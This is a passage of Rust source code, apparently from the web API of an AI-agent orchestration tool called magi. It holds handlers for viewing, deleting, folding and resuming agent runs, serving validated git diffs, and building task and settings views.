4488#[derive(Debug, Default, Serialize)]
4489struct AdviceMd {
4490    synthesis: Vec<md::Node>,
4491    /// One per record; empty for a seat with no proposal.
4492    approaches: Vec<Vec<md::Node>>,
4493}
4494
4495#[derive(Debug, Default, Serialize)]
4496struct RoundMd {
4497    /// One per reviewer record.
4498    reviewers: Vec<ReviewerMd>,
4499    /// One per `reconsideration` entry: the reason.
4500    reconsideration: Vec<Vec<md::Node>>,
4501    fix: Option<FixMd>,
4502}
4503
4504#[derive(Debug, Default, Serialize)]
4505struct ReviewerMd {
4506    summary: Vec<md::Node>,
4507    /// One per finding, in recorded order (not the display order).
4508    findings: Vec<Vec<md::Node>>,
4509}
4510
4511#[derive(Debug, Default, Serialize)]
4512struct FixMd {
4513    notes: Vec<md::Node>,
4514    /// One per rejection: the argument.
4515    rejected: Vec<Vec<md::Node>>,
4516}
4517
4518/// Parse a run's agent-written prose; a pure function of the state.
4519fn run_prose_md(state: &RunState) -> RunProseMd {
4520    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4521    RunProseMd {
4522        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4523            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4524            approaches: a
4525                .records
4526                .iter()
4527                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4528                .collect(),
4529        }),
4530        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4531        reviews_md: state
4532            .reviews
4533            .iter()
4534            .map(|round| RoundMd {
4535                reviewers: round
4536                    .reviews
4537                    .iter()
4538                    .map(|rec| ReviewerMd {
4539                        summary: nodes(&rec.summary),
4540                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4541                    })
4542                    .collect(),
4543                reconsideration: round
4544                    .reconsideration
4545                    .iter()
4546                    .map(|rv| nodes(&rv.reason))
4547                    .collect(),
4548                fix: round.fix.as_ref().map(|fix| FixMd {
4549                    notes: nodes(&fix.notes),
4550                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4551                }),
4552            })
4553            .collect(),
4554    }
4555}
4556
4557impl RunDetailView {
4558    fn of(
4559        state: RunState,
4560        waiting: bool,
4561        live: crate::run::Liveness,
4562        superseded_by: Option<String>,
4563        latest_attempt: Option<LatestAttempt>,
4564        task: Option<TaskRef>,
4565    ) -> Self {
4566        let display_status = run_display_status(&state, waiting, live);
4567        let stop_reason = crate::stop_reason::of(
4568            &state,
4569            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4570        );
4571        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4572        Self {
4573            progress: crate::run_progress::build(&state, live, waiting),
4574            stop_reason,
4575            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4576            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4577            prose_md: run_prose_md(&state),
4578            origin_label: crate::run::origin_label(state.origin.as_ref()),
4579            live,
4580            unmerged_by_design: state.unmerged_by_design(),
4581            waiting,
4582            display_status,
4583            badge_status,
4584            done: state.status.done(),
4585            superseded_by,
4586            latest_attempt,
4587            task,
4588            state,
4589        }
4590    }
4591}
4592
4593/// Core content needs neither the queue nor question/liveness evidence.
4594async fn run_core(
4595    State(ui): State<Arc<Ui>>,
4596    Path(id): Path<String>,
4597) -> ApiResult<Json<RunDetailView>> {
4598    blocking(move || {
4599        let id = resolve_run(&ui.runs, &id)?;
4600        let state = read_run(&ui.runs, &id)?;
4601        Ok(Json(RunDetailView::of(
4602            state,
4603            false,
4604            crate::run::Liveness::Unknown,
4605            None,
4606            None,
4607            None,
4608        )))
4609    })
4610    .await
4611}
4612
4613/// Lightweight observation: never replaces the evidence used by controls.
4614async fn run_progress(
4615    State(ui): State<Arc<Ui>>,
4616    Path(id): Path<String>,
4617) -> ApiResult<Json<serde_json::Value>> {
4618    blocking(move || {
4619        let id = resolve_run(&ui.runs, &id)?;
4620        let state = read_run(&ui.runs, &id)?;
4621        let live = state.liveness(crate::daemon::is_working_on(
4622            &ui.home,
4623            &id,
4624            Timestamp::now(),
4625        ));
4626        let waiting = !ui.questions.open_for(&id).is_empty();
4627        Ok(Json(serde_json::json!({
4628            "id": id, "updated_at": state.updated_at, "live": live,
4629            "observed_at": Timestamp::now(),
4630            "progress": crate::run_progress::build(&state, live, waiting),
4631        })))
4632    })
4633    .await
4634}
4635
4636async fn run_detail(
4637    State(ui): State<Arc<Ui>>,
4638    Path(id): Path<String>,
4639) -> ApiResult<Json<RunDetailView>> {
4640    blocking(move || {
4641        let id = resolve_run(&ui.runs, &id)?;
4642        let state = read_run(&ui.runs, &id)?;
4643        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4644        let live = state.liveness(daemon_claims);
4645        crate::queue::record_ids(ui.questions.root(), "json")?;
4646        let waiting = ui
4647            .questions
4648            .list()
4649            .iter()
4650            .any(|q| q.run == id && q.status.open());
4651        let max_attempts = daemon::Opts::default().max_attempts;
4652
4653        let matching_task = ui.find_task_for_run(&id)?;
4654
4655        let superseded_by = state
4656            .pr_taken_over_by
4657            .clone()
4658            .or_else(|| {
4659                matching_task
4660                    .as_ref()
4661                    .and_then(|t| t.successor_of(&id).cloned())
4662            })
4663            .as_deref()
4664            .map(crate::run::short_of)
4665            .map(str::to_owned);
4666
4667        // Best-effort: an unreadable head (mid-write, or deleted) just means
4668        // this run's own status stands on its own, same as no later attempt
4669        // existing at all.
4670        let latest_attempt = matching_task
4671            .as_ref()
4672            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4673            .and_then(|head_id| {
4674                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4675                    short: head.short().to_owned(),
4676                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4677                    status: head.status,
4678                    done: head.status.done(),
4679                    id: head.id,
4680                })
4681            });
4682
4683        let task = matching_task
4684            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4685
4686        Ok(Json(RunDetailView::of(
4687            state,
4688            waiting,
4689            live,
4690            superseded_by,
4691            latest_attempt,
4692            task,
4693        )))
4694    })
4695    .await
4696}
4697
4698/// `DELETE /api/runs/{id}`.
4699///
4700/// Remove a finished, folded run directory along with its artifacts.
4701/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4702/// deleted. This never touches git worktrees or branches - except for a run
4703/// whose state this build cannot read at all, where there is no candidate
4704/// list to check and the wholesale removal `magi fold` already uses for that
4705/// case is the only meaningful "delete".
4706async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4707    let (id, unreadable) = {
4708        let ui = Arc::clone(&ui);
4709        blocking(move || {
4710            let id = resolve_run(&ui.runs, &id)?;
4711            match read_run(&ui.runs, &id) {
4712                Ok(_) => {
4713                    // The record's locks and the guards are judged on what is
4714                    // read under them (`clean::delete_run`): a fold in progress
4715                    // refuses the deletion rather than racing it.
4716                    crate::clean::delete_run(&ui.home, &id, jiff::Timestamp::now()).map_err(
4717                        |e| match e.downcast_ref::<crate::clean::DeleteRefused>() {
4718                            Some(refused) => ApiError::conflict(refused.0.clone()),
4719                            None => ApiError::internal(format!("{e:#}")),
4720                        },
4721                    )?;
4722                    Ok((id, false))
4723                }
4724                Err(_) => {
4725                    // Unreadable: there is no candidate list to guard on, so
4726                    // a live daemon's claim is the only thing left to check -
4727                    // the same rule `run_fold` applies for the same reason.
4728                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4729                        return Err(ApiError::conflict(format!(
4730                            "run {id} is being worked on by a live daemon right now"
4731                        )));
4732                    }
4733                    Ok((id, true))
4734                }
4735            }
4736        })
4737        .await?
4738    };
4739    if unreadable {
4740        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4741            .await
4742            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4743    }
4744    let ui = Arc::clone(&ui);
4745    let done = id.clone();
4746    blocking(move || {
4747        // The agent that asked died with the run, so an open question would
4748        // keep asking the operator for a decision nobody can deliver.
4749        ui.questions.abandon_for_run(
4750            &done,
4751            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4752        )?;
4753        Ok(())
4754    })
4755    .await?;
4756    Ok(StatusCode::NO_CONTENT)
4757}
4758
4759/// `POST /api/runs/{id}/fold`.
4760///
4761/// Remove a run's candidate worktrees and branches, keeping its record.
4762///
4763/// This exists because the deck answered "delete this run" with *"Candidates
4764/// must be folded before deleting. Run `magi fold` first."* — a phone being
4765/// told to open a terminal, in the one product whose point is that it does
4766/// not need one. The runs an operator most wants gone are the stalled and
4767/// blocked ones, and those are exactly the runs still holding worktrees:
4768/// three of them here held 53 GB.
4769///
4770/// The winner's tree goes too. A fold is what someone asks for when they are
4771/// finished with a run, and leaving one tree behind would leave the delete
4772/// button disabled for the same reason as before.
4773///
4774/// Refused while a live daemon is working on the run, on the rule that guards
4775/// deletion: folding underneath a running agent would pull the tree it is
4776/// editing out from under it.
4777///
4778/// A run whose state this build cannot read at all falls back to
4779/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4780/// selectively, so the whole record's worktree goes wholesale, exactly what
4781/// `magi fold` does on the command line for the same run.
4782async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4783    let (id, state) = {
4784        let ui = Arc::clone(&ui);
4785        blocking(move || {
4786            let id = resolve_run(&ui.runs, &id)?;
4787            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4788                return Err(ApiError::conflict(format!(
4789                    "run {id} is being worked on by a live daemon right now"
4790                )));
4791            }
4792            crate::clean::ensure_record_identity(&ui.runs, &id)
4793                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4794            let state = match read_run(&ui.runs, &id) {
4795                Ok(state) => {
4796                    state
4797                        .ensure_directory(&id)
4798                        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4799                    Some(state)
4800                }
4801                Err(_) => None,
4802            };
4803            Ok((id, state))
4804        })
4805        .await?
4806    };
4807    let removed = match state {
4808        Some(mut state) => {
4809            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4810                .await
4811                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4812            // Nothing left to remove is not the same thing as nothing left to
4813            // do — see `clean::clear_abandoned_active`'s own doc for the run
4814            // this exists for: worktrees already gone, but a killed process
4815            // left active seats nobody will ever answer for.
4816            if removed.is_empty() {
4817                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4818                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4819            }
4820            removed
4821        }
4822        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4823            .await
4824            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4825    };
4826    Ok(Json(FoldView {
4827        run: id,
4828        removed_count: removed.len(),
4829        removed,
4830    }))
4831}
4832
4833/// What a fold took away, so the deck can say so rather than only re-render.
4834#[derive(Debug, Serialize)]
4835struct FoldView {
4836    run: String,
4837    /// Worktree paths and branch names removed, in the order they went.
4838    removed: Vec<String>,
4839    removed_count: usize,
4840}
4841
4842/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4843/// merged outside of `land::land`'s own loop.
4844#[derive(Debug, Deserialize)]
4845struct FoldMergedBody {
4846    #[serde(default)]
4847    pr_url: String,
4848}
4849
4850/// `POST /api/runs/{id}/fold-merged`.
4851///
4852/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4853/// `Blocked` with `merge: null` because magi never got as far as opening a
4854/// pull request of its own (a title over GitHub's length limit, `gh pr
4855/// create` unreachable, a stale token), which the operator then finished by
4856/// hand on a pull request magi never recorded. The "Run actions" sheet used
4857/// to have no way to tell it about that pull request short of a terminal and
4858/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4859/// this exists and what it deliberately does not do (`bump::after_merge`).
4860///
4861/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4862/// correction rewrites the same `status`/`merge` fields a running graph would
4863/// be writing to on its own.
4864///
4865/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4866/// calls plus a fold, seconds of work, and the phone should get its answer
4867/// (which pull request it recorded, and what changed) in the same round
4868/// trip rather than learning it from the change stream.
4869async fn run_fold_merged(
4870    State(ui): State<Arc<Ui>>,
4871    Path(id): Path<String>,
4872    Json(body): Json<FoldMergedBody>,
4873) -> ApiResult<Json<FoldMergedView>> {
4874    let pr_url = body.pr_url.trim().to_owned();
4875    if pr_url.is_empty() {
4876        return Err(ApiError::bad_request("pr_url is required"));
4877    }
4878    let (id, mut state) = {
4879        let ui = Arc::clone(&ui);
4880        blocking(move || {
4881            let id = resolve_run(&ui.runs, &id)?;
4882            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4883                return Err(ApiError::conflict(format!(
4884                    "run {id} is being worked on by a live daemon right now"
4885                )));
4886            }
4887            let state = read_run(&ui.runs, &id)?;
4888            state
4889                .ensure_directory(&id)
4890                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4891            Ok((id, state))
4892        })
4893        .await?
4894    };
4895    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4896        .await
4897        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4898    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4899        .await
4900        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4901    Ok(Json(FoldMergedView {
4902        run: id,
4903        before: before.as_str().to_owned(),
4904        after: after.as_str().to_owned(),
4905        removed,
4906    }))
4907}
4908
4909/// What [`run_fold_merged`] did, so the deck can say so.
4910#[derive(Debug, Serialize)]
4911struct FoldMergedView {
4912    run: String,
4913    /// `status` before the correction — normally `"blocked"`.
4914    before: String,
4915    /// `status` after — normally `"merged"`.
4916    after: String,
4917    /// Worktree paths and branch names the trailing fold removed.
4918    removed: Vec<String>,
4919}
4920
4921/// `POST /api/runs/{id}/resume`.
4922///
4923/// Carry a stalled run on from where it stopped, in the background.
4924///
4925/// A stalled card says "the work is kept" and used to offer no way to act on
4926/// that: the candidates are built and paid for, and continuing means re-asking
4927/// only the seats whose absence collapsed the panel. The alternative an
4928/// operator actually had was releasing the task, which competes three fresh
4929/// implementations against work that already exists.
4930///
4931/// **202, not 200.** A resume runs agents for minutes; holding the connection
4932/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4933/// phone learns the outcome from the change stream.
4934///
4935/// Refused when the loop is running at all, not merely when it is on this run.
4936/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4937/// started a second graph on top of whatever the loop is already driving —
4938/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4939/// allows — would spend that quota twice over for no extra throughput.
4940async fn run_resume(
4941    State(ui): State<Arc<Ui>>,
4942    Path(id): Path<String>,
4943) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4944    let admission = ui.begin_admission()?;
4945    admitted(admission, async move {
4946        let (id, state) = {
4947            let ui = Arc::clone(&ui);
4948            blocking(move || {
4949                let id = resolve_run(&ui.runs, &id)?;
4950                let state = read_run(&ui.runs, &id)?;
4951                Ok((id, state))
4952            })
4953            .await?
4954        };
4955        crate::resume::validate_unqueued(&ui.home, &id)
4956            .map_err(|e| ApiError::conflict(e.to_string()))?;
4957        let _resume = ui.begin_resume(&id)?;
4958
4959        crate::resume::start(&ui.home, id.clone())
4960            .await
4961            .map_err(ApiError::from)?;
4962        // The same shape the list route returns, so the phone updates the card it
4963        // already has rather than learning a second schema for one button.
4964        let queued = RunSummary::of(
4965            &state,
4966            !ui.questions.open_for(&id).is_empty(),
4967            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4968        );
4969        Ok((StatusCode::ACCEPTED, Json(queued)))
4970    })
4971    .await
4972}
4973
4974async fn run_report(
4975    State(ui): State<Arc<Ui>>,
4976    Path(id): Path<String>,
4977) -> ApiResult<impl IntoResponse> {
4978    let text = blocking(move || {
4979        let id = resolve_run(&ui.runs, &id)?;
4980        // Colour is off for the whole process, set once in `serve`. Rendering
4981        // is CPU work over the full state, which is the other reason this is
4982        // not on the executor.
4983        let state = read_run(&ui.runs, &id)?;
4984        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4985        let live = state.liveness(daemon_claims);
4986        Ok(format!(
4987            "{}{}",
4988            report::run(&state),
4989            report::active_seats(&state, live)
4990        ))
4991    })
4992    .await?;
4993    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4994}
4995
4996/// The structured twin of [`run_report`]: the same state, as sections the UI
4997/// draws as cards. An unreadable run answers with the same error the text
4998/// route does; it is never turned into an empty report.
4999async fn run_report_json(
5000    State(ui): State<Arc<Ui>>,
5001    Path(id): Path<String>,
5002) -> ApiResult<Json<crate::report_view::RunReportView>> {
5003    let view = blocking(move || {
5004        let id = resolve_run(&ui.runs, &id)?;
5005        let state = read_run(&ui.runs, &id)?;
5006        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
5007        // Only a record that lacks the structured details reads `artifacts/`.
5008        let recovered = state.graft.as_ref().map(|_| {
5009            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
5010        });
5011        Ok(crate::report_view::build_with(
5012            &state,
5013            state.liveness(daemon_claims),
5014            recovered.as_ref(),
5015        ))
5016    })
5017    .await?;
5018    Ok(Json(view))
5019}
5020
5021/// Archive access uses validated run-owned records, never a request-supplied path.
5022async fn run_seat_evidence(
5023    State(ui): State<Arc<Ui>>,
5024    Path(id): Path<String>,
5025) -> ApiResult<impl IntoResponse> {
5026    let id = resolve_run(&ui.runs, &id)?;
5027    let heads = crate::retention::seat_heads(&ui.home, &id)
5028        .await
5029        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5030    Ok(Json(heads))
5031}
5032
5033async fn run_seat_diff(
5034    State(ui): State<Arc<Ui>>,
5035    Path((id, head)): Path<(String, String)>,
5036) -> ApiResult<impl IntoResponse> {
5037    let id = resolve_run(&ui.runs, &id)?;
5038    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
5039        .await
5040        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5041    Ok((
5042        [
5043            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5044            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5045        ],
5046        patch,
5047    ))
5048}
5049
5050/// Most of a graft diff the route returns.
5051const GRAFT_DIFF_MAX: usize = 400 * 1024;
5052/// How long `git diff` may run.
5053const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
5054
5055/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
5056/// come from the run record, never from the request.
5057async fn run_graft_diff(
5058    State(ui): State<Arc<Ui>>,
5059    Path(id): Path<String>,
5060) -> ApiResult<impl IntoResponse> {
5061    let (repo, pre, post) = blocking(move || {
5062        let id = resolve_run(&ui.runs, &id)?;
5063        let state = read_run(&ui.runs, &id)?;
5064        let g = state
5065            .graft
5066            .as_ref()
5067            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
5068        let post = g
5069            .post
5070            .clone()
5071            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
5072        Ok((state.repo.clone(), g.pre.clone(), post))
5073    })
5074    .await?;
5075    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
5076    if !hex(&pre) || !hex(&post) {
5077        return Err(ApiError::not_found("the recorded commits are not valid"));
5078    }
5079    let out = tokio::time::timeout(
5080        GRAFT_DIFF_TIMEOUT,
5081        crate::git::git_raw(
5082            &repo,
5083            &[
5084                "diff",
5085                "--no-color",
5086                "--no-ext-diff",
5087                "-M",
5088                &pre,
5089                &post,
5090                "--",
5091            ],
5092        ),
5093    )
5094    .await
5095    .map_err(|_| ApiError::not_found("git diff timed out"))?
5096    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
5097    if out.code != Some(0) {
5098        return Err(ApiError::not_found(
5099            "the recorded commits are no longer in the repository",
5100        ));
5101    }
5102    let mut body = out.stdout;
5103    if body.len() > GRAFT_DIFF_MAX {
5104        let mut cut = GRAFT_DIFF_MAX;
5105        while !body.is_char_boundary(cut) {
5106            cut -= 1;
5107        }
5108        body.truncate(cut);
5109        body.push_str("\n... diff truncated ...");
5110    }
5111    Ok((
5112        [
5113            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5114            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5115        ],
5116        body,
5117    ))
5118}
5119
5120/// A task as the UI sees it.
5121///
5122/// The whole task, plus the two things the client would otherwise have to
5123/// reimplement: the human-readable source and the status string. Nothing is
5124/// removed - the phone shows `last_error` and the run history verbatim.
5125#[derive(Debug, Serialize)]
5126struct TaskView {
5127    #[serde(flatten)]
5128    task: Task,
5129    source_label: String,
5130    reassignment_notes: Vec<String>,
5131    source_link: Option<SourceLink>,
5132    status_str: &'static str,
5133    /// Fixed scheduling lane, ahead of ordinary priority order.
5134    upgrade_resume_at: Option<Timestamp>,
5135    /// The instruction, parsed as markdown, for the Queue card's "Full
5136    /// instruction" panel. `task.instruction` is unchanged and still carries
5137    /// the raw text.
5138    instruction_md: Vec<md::Node>,
5139    /// For a blocked task, what it waits on with each dependency's state, e.g.
5140    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5141    /// recurses; empty for every other status.
5142    waits_on: Vec<String>,
5143    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5144    /// behind - non-empty means nothing in the loop will ever run it.
5145    stuck_roots: Vec<String>,
5146    blockers: Vec<crate::blockers::BlockerView>,
5147    recovery: Option<String>,
5148    /// Shared read-only admission status (configured mode, active reservation
5149    /// lane, and concrete non-concurrency or capacity blocker).
5150    #[serde(skip_serializing_if = "Option::is_none")]
5151    admission: Option<daemon::TaskAdmission>,
5152}
5153
5154impl From<Task> for TaskView {
5155    fn from(task: Task) -> Self {
5156        Self {
5157            source_label: task.source_label(),
5158            reassignment_notes: Vec::new(),
5159            source_link: source_link(&task.source),
5160            status_str: task.status.as_str(),
5161            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5162            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5163            waits_on: Vec::new(),
5164            stuck_roots: Vec::new(),
5165            blockers: Vec::new(),
5166            recovery: task_recovery(&task),
5167            admission: None,
5168            task,
5169        }
5170    }
5171}
5172
5173impl TaskView {
5174    fn with_admission(
5175        mut self,
5176        snapshot: &daemon::AdmissionSnapshot,
5177        queue: &Queue,
5178        inv: Option<&crate::blockers::Inventory>,
5179        home: &std::path::Path,
5180    ) -> Self {
5181        self.admission = Some(snapshot.evaluate(&self.task, queue, inv, home));
5182        self
5183    }
5184
5185    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5186        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5187            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5188            if !pending.is_empty() {
5189                self.recovery = Some(format!(
5190                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5191                    self.recovery.as_deref().unwrap_or_default()
5192                ));
5193            }
5194            for decision in pending {
5195                self.blockers.retain(|view| view.id != decision.id);
5196                self.blockers.push(decision);
5197            }
5198        }
5199        self
5200    }
5201
5202    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5203        let waits_on = inv.waits_on(&task);
5204        let stuck_roots = inv
5205            .stuck_roots(&task)
5206            .iter()
5207            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5208            .collect();
5209        Self {
5210            blockers: inv.blocker_views(&task),
5211            waits_on,
5212            stuck_roots,
5213            ..Self::from(task)
5214        }
5215    }
5216}
5217
5218fn task_recovery(task: &Task) -> Option<String> {
5219    use crate::queue::{HoldSource, TaskStatus};
5220    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5221        return None;
5222    }
5223    let mut text = String::new();
5224    if task.status == TaskStatus::Blocked {
5225        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5226        let restored = match task.blocked_from {
5227            Some(TaskStatus::Running) => TaskStatus::Queued,
5228            Some(status) => status,
5229            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5230            None => TaskStatus::Queued,
5231        };
5232        text.push_str(&format!(
5233            "After all dependencies resolve, the scheduler restores {}. ",
5234            restored.as_str()
5235        ));
5236        if restored != TaskStatus::Held {
5237            return Some(text);
5238        }
5239    }
5240    text.push_str(match task.hold_source {
5241        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5242        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5243            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5244        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5245        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5246    });
5247    Some(text)
5248}
5249
5250/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5251/// its absence, leaves the cache to decide.
5252#[derive(Debug, Default, Deserialize)]
5253#[serde(default)]
5254struct ReposQuery {
5255    refresh: u8,
5256}
5257
5258/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5259/// listing `magi repos` prints at a terminal.
5260///
5261/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5262/// so an edit to `magi.toml` takes effect without a restart, the same
5263/// reasoning [`config_for`] documents for the talk routes.
5264async fn repos_list(
5265    State(ui): State<Arc<Ui>>,
5266    Query(q): Query<ReposQuery>,
5267) -> ApiResult<Json<Vec<repos::Repo>>> {
5268    let refresh = q.refresh != 0;
5269    blocking(move || {
5270        let (cfg, _) = Config::discover(&ui.repo, None)?;
5271        Ok(Json(ui.repos_cache.list(
5272            &cfg.repos.roots,
5273            Duration::from_secs(cfg.repos.scan_ttl),
5274            refresh,
5275        )))
5276    })
5277    .await
5278}
5279
5280/// Optional context, restricted to the server's known checkouts.
5281#[derive(Debug, Default, Deserialize)]
5282struct SettingsQuery {
5283    repo: Option<PathBuf>,
5284}
5285
5286/// Always discover against the server's original context, never the selection.
5287/// If that config is broken, retain the default context and machine-only roots
5288/// so the settings error contract and recovery picker remain available.
5289fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5290    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5291        let paths: Vec<PathBuf> = ui
5292            .machine_config
5293            .iter()
5294            .filter(|p| p.is_file())
5295            .cloned()
5296            .collect();
5297        if paths.is_empty() {
5298            Ok(Config::autodetected())
5299        } else {
5300            Config::load_layers(&paths)
5301        }
5302    });
5303    let mut known = cfg
5304        .map(|cfg| {
5305            ui.repos_cache.list(
5306                &cfg.repos.roots,
5307                Duration::from_secs(cfg.repos.scan_ttl),
5308                refresh,
5309            )
5310        })
5311        .unwrap_or_default();
5312    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5313    if !known.iter().any(|r| r.path == path) {
5314        known.push(repos::Repo {
5315            name: path
5316                .file_name()
5317                .unwrap_or_default()
5318                .to_string_lossy()
5319                .into_owned(),
5320            path,
5321        });
5322    }
5323    known
5324}
5325
5326fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5327    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5328    let canonical = requested.canonicalize().ok();
5329    let mut known = settings_repositories(ui, false);
5330    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5331    if !known.iter().any(matches) {
5332        known = settings_repositories(ui, true);
5333    }
5334    let repo = known
5335        .iter()
5336        .find(|r| matches(r))
5337        .map(|r| r.path.clone())
5338        .ok_or_else(|| ApiError {
5339            text_reason: None,
5340            status: StatusCode::UNPROCESSABLE_ENTITY,
5341            message: "Choose a known repository from the Settings selector.".to_owned(),
5342        })?;
5343    Ok((repo, known))
5344}
5345
5346/// `GET /api/settings` - the effective role assignments and roster, with the
5347/// layer each came from. A config that fails to load answers 200 with an
5348/// `error`, so the screen can say so instead of drawing empty lists.
5349async fn settings_get(
5350    State(ui): State<Arc<Ui>>,
5351    Query(q): Query<SettingsQuery>,
5352) -> ApiResult<Json<settings::SettingsView>> {
5353    blocking(move || {
5354        let (repo, known) = settings_context(&ui, q)?;
5355        Ok(Json(settings::view_with_repos(
5356            &repo,
5357            ui.machine_config.as_deref(),
5358            &known,
5359        )))
5360    })
5361    .await
5362}
5363
5364/// The body of `PUT /api/settings/roles`.
5365#[derive(Debug, Deserialize)]
5366#[serde(deny_unknown_fields)]
5367struct RolesBody {
5368    /// The `revision` the client last read.
5369    revision: String,
5370    /// Role key to its new ids; an empty list resets the key to its default.
5371    #[serde(default)]
5372    roles: std::collections::BTreeMap<String, Vec<String>>,
5373    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5374    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5375    /// words (422) instead of as a deserialization error.
5376    #[serde(default)]
5377    counts: std::collections::BTreeMap<String, serde_json::Value>,
5378}
5379
